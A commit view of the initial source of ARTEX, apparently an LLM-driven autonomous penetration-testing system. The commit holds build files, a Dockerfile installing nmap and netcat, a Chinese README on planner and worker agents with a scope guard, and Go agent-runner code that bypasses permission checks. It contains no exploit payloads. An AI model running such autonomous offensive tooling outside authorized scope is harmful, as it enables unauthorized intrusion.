mirror of
https://github.com/RuoJi6/ARTEX.git
synced 2026-10-27 17:03:49 +08:00
chore: ARTEX 初始化
ARTEX — AI 自主渗透测试系统（Go 后端 + Next.js 前端，单二进制内嵌）。 Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
This commit is contained in:
Autumn-27andClaude Opus 4.8 committed
commit
0ef8561411
287 files changed
+70178
No files matched your search
@@ -0,0 +1,9 @@
|
||||
.git
|
||||
**/node_modules
|
||||
web/.next
|
||||
web/out
|
||||
server/webui/dist
|
||||
/artex
|
||||
data
|
||||
*.db
|
||||
transcripts
|
||||
@@ -0,0 +1,13 @@
|
||||
# Docker 部署配置（复制为 .env）
|
||||
ARTEX_TAG=latest
|
||||
POSTGRES_USER=artex
|
||||
POSTGRES_PASSWORD=change-me-please
|
||||
POSTGRES_DB=artex
|
||||
|
||||
# LLM（二选一或都填；也可留空到 UI 里配）
|
||||
ANTHROPIC_API_KEY=
|
||||
OPENAI_API_KEY=
|
||||
ARTEX_LLM_PROVIDER=
|
||||
ARTEX_LLM_MODEL=
|
||||
ARTEX_LLM_BASE_URL=
|
||||
ARTEX_LLM_PROXY=
|
||||
@@ -0,0 +1,132 @@
|
||||
name: release
|
||||
on:
|
||||
push:
|
||||
tags: ["v*"]
|
||||
|
||||
permissions:
|
||||
contents: write # 创建 Release 需要
|
||||
|
||||
jobs:
|
||||
# ① 前端静态导出（一次），产物给交叉编译各平台复用
|
||||
frontend:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: "22"
|
||||
cache: npm
|
||||
cache-dependency-path: web/package-lock.json
|
||||
- run: npm ci
|
||||
working-directory: web
|
||||
- run: npm run build:static
|
||||
working-directory: web
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: web-dist
|
||||
path: web/out
|
||||
|
||||
# ② 五平台交叉编译（内嵌前端）+ 打 zip
|
||||
binaries:
|
||||
needs: frontend
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
matrix:
|
||||
include:
|
||||
- { goos: linux, goarch: amd64 }
|
||||
- { goos: linux, goarch: arm64 }
|
||||
- { goos: darwin, goarch: amd64 }
|
||||
- { goos: darwin, goarch: arm64 }
|
||||
- { goos: windows, goarch: amd64 }
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: "1.26"
|
||||
cache: true
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: web-dist
|
||||
path: server/webui/dist
|
||||
- name: Build
|
||||
env:
|
||||
GOOS: ${{ matrix.goos }}
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
CGO_ENABLED: "0"
|
||||
run: |
|
||||
BIN=artex
|
||||
[ "$GOOS" = "windows" ] && BIN=artex.exe
|
||||
go build -tags embedui -trimpath \
|
||||
-ldflags "-s -w -X main.version=${GITHUB_REF_NAME}" \
|
||||
-o "$BIN" ./cmd/artex
|
||||
- name: Package
|
||||
run: |
|
||||
NAME="artex-${GITHUB_REF_NAME}-${{ matrix.goos }}-${{ matrix.goarch }}"
|
||||
mkdir -p "$NAME"
|
||||
cp -r skills "$NAME"/
|
||||
cp config.example.json "$NAME"/
|
||||
if [ "${{ matrix.goos }}" = "windows" ]; then cp artex.exe "$NAME"/; else cp artex "$NAME"/; fi
|
||||
zip -r "$NAME.zip" "$NAME"
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: pkg-${{ matrix.goos }}-${{ matrix.goarch }}
|
||||
path: "*.zip"
|
||||
# Linux 生二进制单独上传，供 docker job 复用（免在镜像里重编前端+Go）
|
||||
- if: matrix.goos == 'linux'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: bin-linux-${{ matrix.goarch }}
|
||||
path: artex
|
||||
|
||||
# ③ 汇总所有 zip → 创建 GitHub Release
|
||||
release:
|
||||
needs: binaries
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: pkg-*
|
||||
merge-multiple: true
|
||||
path: dist
|
||||
- uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
files: dist/*.zip
|
||||
generate_release_notes: true
|
||||
|
||||
# ④ 多架构镜像 → 推 Docker Hub（复用 binaries 编好的 Linux 二进制，
|
||||
# 镜像里只装工具 + 放二进制；arm64 仅需模拟 apt 层，构建快很多）
|
||||
docker:
|
||||
needs: binaries
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4 # 取 Dockerfile 与 skills/
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: bin-linux-amd64
|
||||
path: dist/amd64
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: bin-linux-arm64
|
||||
path: dist/arm64
|
||||
- uses: docker/setup-qemu-action@v3
|
||||
- uses: docker/setup-buildx-action@v3
|
||||
- uses: docker/login-action@v3
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
- uses: docker/metadata-action@v5
|
||||
id: meta
|
||||
with:
|
||||
images: autumn27/artex
|
||||
tags: |
|
||||
type=ref,event=tag
|
||||
type=raw,value=latest
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
push: true
|
||||
tags: ${{ steps.meta.outputs.tags }}
|
||||
labels: ${{ steps.meta.outputs.labels }}
|
||||
cache-from: type=gha
|
||||
cache-to: type=gha,mode=max
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
# backend
|
||||
/data/
|
||||
*.db
|
||||
*.db-wal
|
||||
*.db-shm
|
||||
config.json
|
||||
scheduler_state.json
|
||||
__pycache__/
|
||||
*.pyc
|
||||
*.pyo
|
||||
|
||||
# frontend
|
||||
web/node_modules/
|
||||
web/.next/
|
||||
web/tsconfig.tsbuildinfo
|
||||
web/next-env.d.ts
|
||||
*.local
|
||||
|
||||
# development tools
|
||||
.playwright-mcp/
|
||||
.playwright-cli/
|
||||
.idea/
|
||||
.vscode/
|
||||
*.swp
|
||||
*.swo
|
||||
|
||||
# docs
|
||||
/docs/
|
||||
|
||||
# os
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
# claude code local state
|
||||
.claude/
|
||||
|
||||
# 内嵌前端的单二进制产物
|
||||
/artex
|
||||
/server/webui/dist/
|
||||
|
||||
# Docker 部署生成的本地环境（含密码/密钥，不提交）
|
||||
.env
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
# syntax=docker/dockerfile:1
|
||||
#
|
||||
# 运行镜像（不在镜像里编译）：只装常用工具，放入**预编译好的 Linux 单二进制**。
|
||||
# 二进制由 CI 的 binaries job 交叉编译（纯 Go、无 QEMU），按目标架构放在
|
||||
# 构建上下文的 dist/<TARGETARCH>/artex。这样多架构构建时 arm64 只需模拟 apt 层，
|
||||
# 不再模拟 Next/Go 编译，速度快得多。
|
||||
#
|
||||
# 本地手动构建镜像时，先自行准备二进制：
|
||||
# cd web && npm run build:static && cd ..
|
||||
# cp -r web/out server/webui/dist
|
||||
# CGO_ENABLED=0 GOARCH=amd64 go build -tags embedui -o dist/amd64/artex ./cmd/artex
|
||||
# docker build -t artex:local .
|
||||
FROM python:3.12-slim-bookworm
|
||||
ARG TARGETARCH
|
||||
# 常用工具：ripgrep / curl / vim / npm，加一批 recon 常备件（按需增删）
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
ca-certificates ripgrep curl wget vim git jq unzip \
|
||||
nodejs npm \
|
||||
dnsutils iputils-ping netcat-openbsd whois nmap \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
WORKDIR /app
|
||||
# 预编译好的对应架构二进制（dist/amd64/artex 或 dist/arm64/artex）
|
||||
COPY dist/${TARGETARCH}/artex /app/artex
|
||||
RUN chmod +x /app/artex
|
||||
COPY skills/ /app/skills/
|
||||
# data/（SQLite + jwt.key）持久化点
|
||||
VOLUME ["/app/data"]
|
||||
EXPOSE 8787 8788
|
||||
ENTRYPOINT ["/app/artex"]
|
||||
CMD ["-addr", ":8787", "-proxy", ":8788"]
|
||||
@@ -0,0 +1,88 @@
|
||||
# ARTEX
|
||||
|
||||
**A**gentic **R**ed-**T**eam **E**xploration and e**X**ecution — AI 自主渗透测试系统，以 [Norma](https://github.com/Autumn-27/Norma) 为内核。
|
||||
|
||||
独立 Go 模块（`github.com/Autumn-27/artex`，依赖 Norma），把存储 /
|
||||
agent / 安全边界 / 流量 / 报告与 shadcn/ui 前端关在自己模块里，保持 Norma 零依赖。
|
||||
|
||||
## 运行
|
||||
|
||||
**探索由真实 LLM agent 驱动，必须配置 provider**（无 key 时建任务只生成根/目标节点，引擎空闲、不探索）：
|
||||
|
||||
```bash
|
||||
export ANTHROPIC_API_KEY=sk-... # 或 OPENAI_API_KEY
|
||||
# 可选：ARTEX_LLM_PROVIDER / ARTEX_LLM_MODEL / ARTEX_LLM_BASE_URL
|
||||
# 可选：ARTEX_LLM_PROXY=socks5://127.0.0.1:1080 # LLM 出站代理(http/https/socks5)；
|
||||
# 也可在 UI 的 LLM 配置页填写；留空则回退 HTTP_PROXY/HTTPS_PROXY 环境变量
|
||||
```
|
||||
|
||||
### 开发模式（热更新）
|
||||
|
||||
后端与前端分开跑，前端 `next dev` 有 HMR、`/api` 反代到后端：
|
||||
|
||||
```bash
|
||||
./dev.sh # 后端(:8787) + 流量代理(:8788) + 前端 next dev(:5173) → http://localhost:5173
|
||||
# 或手动：
|
||||
go run ./cmd/artex -addr :8787 -proxy :8788 # 不内嵌前端；并发 work agent 数在「系统设置」里配置(默认3)
|
||||
cd web && npm run dev
|
||||
```
|
||||
|
||||
### 单二进制（前端内嵌，一个进程一个端口）
|
||||
|
||||
前端静态导出后用 `//go:embed` 打进二进制，前端页面 + `/api` 同端口，运行时无需 Node：
|
||||
|
||||
```bash
|
||||
cd web && npm run build:static # 静态导出 → web/out
|
||||
cp -r web/out ../server/webui/dist # 拷进内嵌目录（已 gitignore）
|
||||
cd .. && go build -tags embedui -o artex ./cmd/artex
|
||||
./artex # 打开 http://localhost:8787
|
||||
```
|
||||
|
||||
> 不带 `-tags embedui` 的普通 `go build` / `go run` 不内嵌前端（走开发模式）。
|
||||
> `server/webui/dist/` 与产出的 `artex` 均已在 `.gitignore`，不进仓库。
|
||||
|
||||
### 纯静态部署（可选，扔进 nginx）
|
||||
|
||||
`web/out/` 是一个纯静态站点，可直接放进 nginx web 根目录；此时需把 `/api/*` 反代到 Go 后端（`:8787`）。
|
||||
|
||||
构建：`go build ./...`、`cd web && npm run build`。测试：`go test ./...`。
|
||||
|
||||
## 已实现（覆盖设计文档 P0–P6）
|
||||
|
||||
**后端（Go）**
|
||||
|
||||
- `graph/` — **双 SQLite 图**：资产图 `assets.db`（跨任务共享）+ 探索图 `task-<id>.db`。
|
||||
node+edge + anchors（跨图承诺键）+ coverage（行级 CAS + 租约）；内容寻址稳定 ID +
|
||||
幂等 upsert；URL 模板化；ATTACH 跨图；**资产 GC**（P5）。
|
||||
- `traffic/` — **go-mitmproxy 内嵌代理** + 可浏览文件树（host/method/模板/时间分桶/交换目录）
|
||||
+ sqlite 旁路索引（分页查询）+ 内容寻址 blob 仓。全量、明文、只记目标 HTTP（§10）。
|
||||
- `guard/` — **安全边界**（P1）：scope-as-code（解析 Bash 实参 host/URL/CIDR，越界拒绝）、
|
||||
破坏性/外泄门控、审计日志、**Observer 失败归因**（G5，PostToolUse 分类 blocked/error）。
|
||||
RoE 支持热改（mutex 保护，运行中收紧即时生效）。
|
||||
- `agent/` — **真实 LLM agent**（接 agent-core）：
|
||||
- **规划者**（P2）：事件驱动（图变化→去抖动→唤醒），读探索路线 + 工具查资产，**自行判断目标达成**
|
||||
（`list_goals`/`prove_goal`，把证明目标的发现连到目标节点并标 met，非规则判定），生成意图入 frontier。
|
||||
- **work agent**（P3）：claim 意图 → Bash 跑 Kali 工具（走代理）+ 图写回工具，Guard 门控，
|
||||
**tradecraft 记忆**（G4）。
|
||||
- **主 agent**（P3）：人在环路对话，注入 hint→规划者 / 直注高优意图。
|
||||
- **RoE 编译器**（P6）：自然语言授权 → scope 规则（LLM，含正则兜底）。
|
||||
- `report/` — **报告生成**（P5）：覆盖矩阵 + 证据链 → Markdown。
|
||||
- `server/` — 事件驱动引擎（**纯 LLM，无模拟**；无 provider 则空闲）+ JSON API（任务、资产、
|
||||
探索图、frontier、覆盖、发现、流量、scope、审计、报告、chat、gc）。探索链路边由 agent 经工具织成。
|
||||
|
||||
**前端（shadcn/ui + React + Next.js + Tailwind）** — 实时控制台：
|
||||
创建任务、统计卡 + 引擎模式徽章、发现、覆盖矩阵热力、资产图、意图队列、
|
||||
**人在环路对话**、**流量记录**、**安全边界（scope/RoE 编译/审计/失败归因）**、**报告**。
|
||||
|
||||
## 测试
|
||||
|
||||
```
|
||||
go test ./graph/ ./guard/ -v
|
||||
```
|
||||
覆盖：稳定 ID、模板化、幂等 upsert + 邻接、覆盖 CAS、frontier claim、scope 越界拦截、破坏性门控。
|
||||
|
||||
## 后续 / 经 MCP 接入
|
||||
|
||||
- **OAST 带外**（G2）、Kali 专用工具等经 MCP server 接入 work agent（`Worker.extraTools` 是接入点，
|
||||
`agent-core/mcp` 的 stdio/进程内 server 产出的 CoreTool 直接塞入）。
|
||||
- 真实工具执行需 Kali 环境 + 代理 CA 信任（`data/traffic/_ca`）。
|
||||
@@ -0,0 +1,59 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
)
|
||||
|
||||
// DeferredInfo carries the deferred-tools wiring an agent needs to build its
|
||||
// Options: the MCP tool names whose schemas are withheld, the subset listed in the
|
||||
// global system-prompt block (non-skill-gated), and the shared session unlock set.
|
||||
// UnlockSkill unlocks a named skill's MCPs — hosts call it to rebuild the unlock set
|
||||
// from history on a resumed session (design doc C2).
|
||||
type DeferredInfo struct {
|
||||
Deferred []string // all MCP tool names (schema withheld)
|
||||
GlobalNames []string // MCP names to list in the system-prompt block
|
||||
Unlock *actool.UnlockSet // shared call-gate; nil when no MCP tools
|
||||
UnlockSkill func(skillName string)
|
||||
}
|
||||
|
||||
// ToolAugment, if set, returns the EXTRA tools an agent should see beyond its
|
||||
// built-in base set — the agent's visible skills (packed into one Skill meta-tool)
|
||||
// and visible MCP servers (expanded to mcp__server__tool). It also returns the
|
||||
// DeferredInfo describing how those MCP tools are deferred/gated. The server wires
|
||||
// it to the PG agent_visibility table. cleanup releases any spawned MCP clients.
|
||||
//
|
||||
// When nil, agents run with only their built-in tools — behavior is unchanged
|
||||
// until a user assigns a skill/MCP to the agent in the UI.
|
||||
var ToolAugment func(ctx context.Context, agentKey string) (extra []actool.CoreTool, def DeferredInfo, cleanup func())
|
||||
|
||||
// AugmentTools returns base plus the agent's visible skill/MCP tools, the
|
||||
// DeferredInfo, and a cleanup func the caller must defer (closes MCP clients).
|
||||
// Built-in base tools are kept as-is — never filtered (内置工具留代码层，不做可见性过滤).
|
||||
func AugmentTools(ctx context.Context, agentKey string, base []actool.CoreTool) ([]actool.CoreTool, DeferredInfo, func()) {
|
||||
var (
|
||||
def DeferredInfo
|
||||
cleanup = func() {}
|
||||
out = base
|
||||
)
|
||||
if ToolAugment != nil {
|
||||
var extra []actool.CoreTool
|
||||
var cl func()
|
||||
extra, def, cl = ToolAugment(ctx, agentKey)
|
||||
if cl != nil {
|
||||
cleanup = cl
|
||||
}
|
||||
if len(extra) > 0 {
|
||||
out = append(append([]actool.CoreTool{}, base...), extra...)
|
||||
}
|
||||
}
|
||||
// DB tools table has the final say on the built-in tools: drop the ones this
|
||||
// agent isn't bound to (or that are disabled) and swap in overridden
|
||||
// descriptions/schemas + default injection. MCP/skill/host tools have no row
|
||||
// and pass through untouched, so deferred/unlock wiring stays consistent.
|
||||
if ToolResolve != nil {
|
||||
out = ToolResolve(ctx, agentKey, out)
|
||||
}
|
||||
return out, def, cleanup
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/Autumn-27/norma/agentcore"
|
||||
"github.com/Autumn-27/norma/harness"
|
||||
"github.com/Autumn-27/norma/llm"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// captureRun drives one agent turn-to-completion over Session.Prompt and emits a
|
||||
// coalesced ActivityRecord per execution step (tool_use / tool_result / text /
|
||||
// thinking / result). It is shared by every LLM agent in the system (worker,
|
||||
// planner, …) so their execution is visible instead of a black box — the old
|
||||
// agentcore.Run discarded every event. The emitted records carry only
|
||||
// Kind/Tool/ToolUseID/IsError/Summary/Detail; the caller's emit fills in
|
||||
// IntentID/Worker. Returns the final assistant text + terminal error.
|
||||
//
|
||||
// KindText/KindThinking arrive as streaming deltas (one event per fragment); a
|
||||
// contiguous run is coalesced into a single record so the trace shows whole
|
||||
// messages, not dozens of fragments.
|
||||
func captureRun(ctx context.Context, opts agentcore.Options, input string, emit func(db.Activity)) (string, harness.TerminalReason, error) {
|
||||
s := agentcore.NewSession(opts)
|
||||
defer s.Close() // release the session's background-task manager (temp dir + processes)
|
||||
return captureRunSession(ctx, s, input, emit)
|
||||
}
|
||||
|
||||
// captureRunSession is captureRun over an existing session, so a caller can run
|
||||
// multiple prompts on the SAME conversation (e.g. a settlement round that reuses
|
||||
// the worker's accumulated context after the main run hit max_turns).
|
||||
func captureRunSession(ctx context.Context, s *agentcore.Session, input string, emit func(db.Activity)) (string, harness.TerminalReason, error) {
|
||||
var reason harness.TerminalReason
|
||||
rec := func(r db.Activity) {
|
||||
if emit != nil {
|
||||
emit(r)
|
||||
}
|
||||
}
|
||||
toolNames := map[string]string{} // tool_use id -> name, to label results
|
||||
|
||||
var tbuf strings.Builder
|
||||
var tkind string
|
||||
flush := func() {
|
||||
if tbuf.Len() == 0 {
|
||||
return
|
||||
}
|
||||
s := strings.TrimSpace(tbuf.String())
|
||||
k := tkind
|
||||
tbuf.Reset()
|
||||
tkind = ""
|
||||
if s != "" {
|
||||
rec(db.Activity{Kind: k, Summary: firstLine(s, 200), Detail: s})
|
||||
}
|
||||
}
|
||||
addDelta := func(kind, text string) {
|
||||
if text == "" {
|
||||
return
|
||||
}
|
||||
if tkind != "" && tkind != kind {
|
||||
flush()
|
||||
}
|
||||
tkind = kind
|
||||
tbuf.WriteString(text)
|
||||
}
|
||||
|
||||
var finalText string
|
||||
var rerr error
|
||||
for ev, err := range s.Prompt(ctx, input) {
|
||||
if err != nil {
|
||||
flush()
|
||||
if ctx.Err() != nil { // ctx cancelled = manual stop, not a failure
|
||||
rec(db.Activity{Kind: "result", Summary: "（已手动停止本次运行）"})
|
||||
return finalText, reason, ctx.Err()
|
||||
}
|
||||
rec(db.Activity{Kind: "result", IsError: true, Summary: "执行出错: " + err.Error(), Detail: err.Error()})
|
||||
return finalText, reason, err
|
||||
}
|
||||
switch ev.Kind {
|
||||
case harness.KindToolUse:
|
||||
if ev.ToolUse == nil {
|
||||
continue
|
||||
}
|
||||
flush()
|
||||
toolNames[ev.ToolUse.ID] = ev.ToolUse.Name
|
||||
in := string(ev.ToolUse.Input)
|
||||
rec(db.Activity{Kind: "tool_use", Tool: ev.ToolUse.Name, ToolUseID: ev.ToolUse.ID,
|
||||
Summary: ev.ToolUse.Name + " " + firstLine(in, 200), Detail: in})
|
||||
case harness.KindToolResult:
|
||||
if ev.ToolResult == nil {
|
||||
continue
|
||||
}
|
||||
flush()
|
||||
out := blocksText(ev.ToolResult.Content)
|
||||
rec(db.Activity{Kind: "tool_result", Tool: toolNames[ev.ToolResult.ToolUseID], ToolUseID: ev.ToolResult.ToolUseID,
|
||||
IsError: ev.ToolResult.IsError, Summary: firstLine(out, 200), Detail: out})
|
||||
case harness.KindText:
|
||||
addDelta("text", ev.Text)
|
||||
case harness.KindThinking:
|
||||
addDelta("thinking", ev.Text)
|
||||
case harness.KindUsage:
|
||||
// live cumulative token usage (per model turn). Emitted as a non-rendered
|
||||
// "usage" activity carrying only the token fields; the UI uses the latest
|
||||
// one for a running session's live token count. Don't flush() here — the
|
||||
// buffered final-answer text must stay for the KindResult de-dup.
|
||||
if ev.Usage != nil {
|
||||
u := *ev.Usage
|
||||
rec(db.Activity{Kind: "usage",
|
||||
InputTokens: &u.InputTokens, OutputTokens: &u.OutputTokens,
|
||||
CacheReadTokens: &u.CacheReadTokens, CacheWriteTokens: &u.CacheWriteTokens})
|
||||
}
|
||||
case harness.KindResult:
|
||||
if ev.Terminal != nil {
|
||||
finalText = ev.Terminal.Text
|
||||
reason = ev.Terminal.Reason
|
||||
// the buffered tail text usually equals Terminal.Text (final answer);
|
||||
// drop it to avoid a duplicate record, the result row carries it.
|
||||
if tkind == "text" && strings.TrimSpace(tbuf.String()) == strings.TrimSpace(ev.Terminal.Text) {
|
||||
tbuf.Reset()
|
||||
tkind = ""
|
||||
}
|
||||
flush() // flush any trailing thinking / non-final text
|
||||
sum := ev.Terminal.Text
|
||||
if sum == "" {
|
||||
switch ev.Terminal.Reason {
|
||||
case harness.ReasonAbortedTools, harness.ReasonAbortedStreaming:
|
||||
// interruption (task paused / worker killed / backend restart),
|
||||
// not a real completion — the intent is re-queued (open) or
|
||||
// stopped, so the session icon reflects that, not this run.
|
||||
sum = "（运行被中断：任务暂停 / 终止 / 重启所致；未完成）"
|
||||
case harness.ReasonTimeout, harness.ReasonMaxTurns:
|
||||
// budget hit → settlement ran (facts/assets were written back);
|
||||
// only the trailing text summary is missing, not a failure.
|
||||
sum = "（达运行预算上限，已收尾写回事实；本次无文字总结，终态: " + string(ev.Terminal.Reason) + "）"
|
||||
default:
|
||||
sum = "（无总结，终态: " + string(ev.Terminal.Reason) + "）"
|
||||
}
|
||||
}
|
||||
u := ev.Terminal.Usage // cumulative token usage for this session
|
||||
rec(db.Activity{Kind: "result", IsError: ev.Terminal.Err != nil,
|
||||
Summary: firstLine(sum, 400), Detail: sum,
|
||||
InputTokens: &u.InputTokens, OutputTokens: &u.OutputTokens,
|
||||
CacheReadTokens: &u.CacheReadTokens, CacheWriteTokens: &u.CacheWriteTokens})
|
||||
if ev.Terminal.Err != nil {
|
||||
rerr = ev.Terminal.Err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
flush() // safety: any unflushed text if the stream ended without KindResult
|
||||
return finalText, reason, rerr
|
||||
}
|
||||
|
||||
// blocksText concatenates the text of a tool-result's content blocks.
|
||||
func blocksText(blocks []llm.ContentBlock) string {
|
||||
var b strings.Builder
|
||||
for _, bl := range blocks {
|
||||
if bl.Type == llm.BlockText && bl.Text != "" {
|
||||
if b.Len() > 0 {
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
b.WriteString(bl.Text)
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// firstLine returns a single-line, length-capped preview for the summary column.
|
||||
func firstLine(s string, max int) string {
|
||||
s = strings.TrimSpace(s)
|
||||
if i := strings.IndexByte(s, '\n'); i >= 0 {
|
||||
s = s[:i]
|
||||
}
|
||||
if len(s) > max {
|
||||
s = s[:max] + "…"
|
||||
}
|
||||
return s
|
||||
}
|
||||
+152
@@ -0,0 +1,152 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/norma/agentcore"
|
||||
"github.com/Autumn-27/norma/llm"
|
||||
"github.com/Autumn-27/norma/permission"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/norma/transcript"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/guard"
|
||||
)
|
||||
|
||||
// ChatAgent is the generic, task-independent conversational runner behind the chat
|
||||
// page. It generalizes MainAgent.Chat: any agent (built-in OR a custom one, by
|
||||
// key) can be chatted with, multi-turn history resumed from the transcript. It is
|
||||
// a PURE ASSISTANT — base tools are the SDK DefaultTools (Bash/Read/Write/Edit/
|
||||
// LS/Glob/Grep) plus whatever skills/MCP the key is made visible; NO pentest
|
||||
// graph/task context is injected (that stays exclusive to MainAgent).
|
||||
type ChatAgent struct {
|
||||
prov llm.Provider
|
||||
model string
|
||||
workDir string
|
||||
tx *transcript.Store
|
||||
window int
|
||||
proxyAddr string
|
||||
proxyCACert string
|
||||
webSearch WebSearchOpts
|
||||
guard *guard.Guard // optional; nil disables intercept hooks for chat
|
||||
}
|
||||
|
||||
func NewChatAgent(prov llm.Provider, model, workDir string, tx *transcript.Store, window int) *ChatAgent {
|
||||
return &ChatAgent{prov: prov, model: model, workDir: workDir, tx: tx, window: window}
|
||||
}
|
||||
|
||||
// SetProxy points the chat agent's WebFetch/Bash at the recording proxy plus the
|
||||
// CA cert it trusts (empty addr = direct). Kept for parity with the other agents.
|
||||
func (c *ChatAgent) SetProxy(addr, caCert string) { c.proxyAddr, c.proxyCACert = addr, caCert }
|
||||
|
||||
// SetWebSearch selects the web_search backend for the chat agent (off by default).
|
||||
func (c *ChatAgent) SetWebSearch(o WebSearchOpts) { c.webSearch = o }
|
||||
|
||||
// SetGuard attaches a guard (with user-configured intercept rules) to this chat
|
||||
// agent. Must be called before Chat; safe to call multiple times.
|
||||
func (c *ChatAgent) SetGuard(g *guard.Guard) { c.guard = g }
|
||||
|
||||
// chatWorkDirSpec returns a working-directory notice appended to every chat
|
||||
// agent's system prompt. Mirrors artifactSpec but without pentest-specific
|
||||
// wording ("payload", "抓响应体") that would be odd in a general assistant.
|
||||
func chatWorkDirSpec(workDir string) string {
|
||||
return "\n\n**文件输出规约**：需要写文件时，一律写到工作目录 " + workDir + "（这是默认 CWD，相对路径即落在这里，也可用该绝对路径）——不要写 /tmp 或其他绝对路径。"
|
||||
}
|
||||
|
||||
// chatSystem renders the DB-managed prompt body for agentKey. Custom agents have
|
||||
// no per-key in-code default, so DefaultAssistantPrompt is the render fallback.
|
||||
func chatSystem(agentKey, workDir string) string {
|
||||
return renderSystem(agentKey, DefaultAssistantPrompt, chatVars{}) + chatWorkDirSpec(workDir)
|
||||
}
|
||||
|
||||
// chatVars carries no runtime variables today — a custom prompt referencing any
|
||||
// {{.X}} simply fails to render and falls back to DefaultAssistantPrompt.
|
||||
type chatVars struct{}
|
||||
|
||||
// Chat runs ONE turn of a conversation with the agent identified by agentKey,
|
||||
// resuming prior history keyed by sessionID. maxTurns is the per-turn agent step
|
||||
// budget (0 = unlimited). maxDuration is the wall-clock run budget per turn
|
||||
// (0 = unlimited); the timer resets each time Chat is called, so a new user
|
||||
// message always starts a fresh countdown. webSearch gates network search for
|
||||
// THIS agent (the global backend/key still come from the chat agent's config,
|
||||
// but each agent decides on/off). emit receives each execution step (thinking /
|
||||
// tool_use / tool_result / text / result), tagged with the agent key as the
|
||||
// worker lane.
|
||||
func (c *ChatAgent) Chat(ctx context.Context, agentKey, sessionID, message string, maxTurns int, maxDuration time.Duration, webSearch bool, emit func(db.Activity)) (string, error) {
|
||||
// gate the global web-search opts by this agent's own flag.
|
||||
ws := c.webSearch
|
||||
if !webSearch {
|
||||
ws.Enabled = false
|
||||
}
|
||||
|
||||
// Per-session working directory: <workDir>/sessions/<sessionID>/
|
||||
// Isolates file writes across conversations, mirroring how workers use i<intentID>/.
|
||||
sessionWorkDir := filepath.Join(c.workDir, "sessions", sessionID)
|
||||
_ = os.MkdirAll(sessionWorkDir, 0o755)
|
||||
|
||||
// Pure assistant: DefaultTools as the base; AugmentTools layers in the key's
|
||||
// visible skills/MCP and lets the DB tools table filter/override. DefaultTools
|
||||
// have no tools-table rows, so they always pass through.
|
||||
base := actool.DefaultTools()
|
||||
tools, def, cleanup := AugmentTools(ctx, agentKey, base)
|
||||
defer cleanup()
|
||||
|
||||
system, boundary := deferredSystem(chatSystem(agentKey, sessionWorkDir), def)
|
||||
opts := agentcore.Options{
|
||||
Provider: c.prov,
|
||||
SystemPrompt: system,
|
||||
DynamicBoundary: boundary,
|
||||
Tools: tools,
|
||||
DeferredTools: def.Deferred,
|
||||
UnlockSet: def.Unlock,
|
||||
PermissionMode: permission.ModeBypass,
|
||||
EnableWebFetch: true, // 走记录代理留痕；载入代理 CA 验证 MITM 重签的 HTTPS 证书
|
||||
WebFetchProxy: c.proxyAddr,
|
||||
WebFetchCACert: c.proxyCACert,
|
||||
// 联网搜索(可选)。ddgs 无需 key；brave-free 需 BraveKey；tavily 需 TavilyKey。
|
||||
// WebSearchProxy 是独立出口代理(http/https/socks5)，与记录流量的 MITM 代理无关；空则直连。
|
||||
EnableWebSearch: ws.Enabled,
|
||||
WebSearchBackend: ws.Backend,
|
||||
BraveSearchAPIKey: ws.BraveKey,
|
||||
TavilySearchAPIKey: ws.TavilyKey,
|
||||
WebSearchProxy: ws.Proxy,
|
||||
BashEnv: proxyEnv(c.proxyAddr, c.proxyCACert), // Bash 子命令默认走代理+信任 CA
|
||||
WorkingDir: sessionWorkDir,
|
||||
MaxTurns: maxTurns,
|
||||
MaxDuration: maxDuration,
|
||||
Compaction: compactionConfig(c.window),
|
||||
Todos: actool.NewTodoStore(),
|
||||
// large tool output spills to cmd-output/ under the session dir.
|
||||
// 截断上限用 SDK 默认(tool.Capture 的 30000 字符)。
|
||||
ToolOutputDir: filepath.Join(sessionWorkDir, "cmd-output"),
|
||||
// 命中预算(步数)→ SDK 跑收尾:输出一句总结。Prompt 与收尾轮数按本 agent key 后台可编辑
|
||||
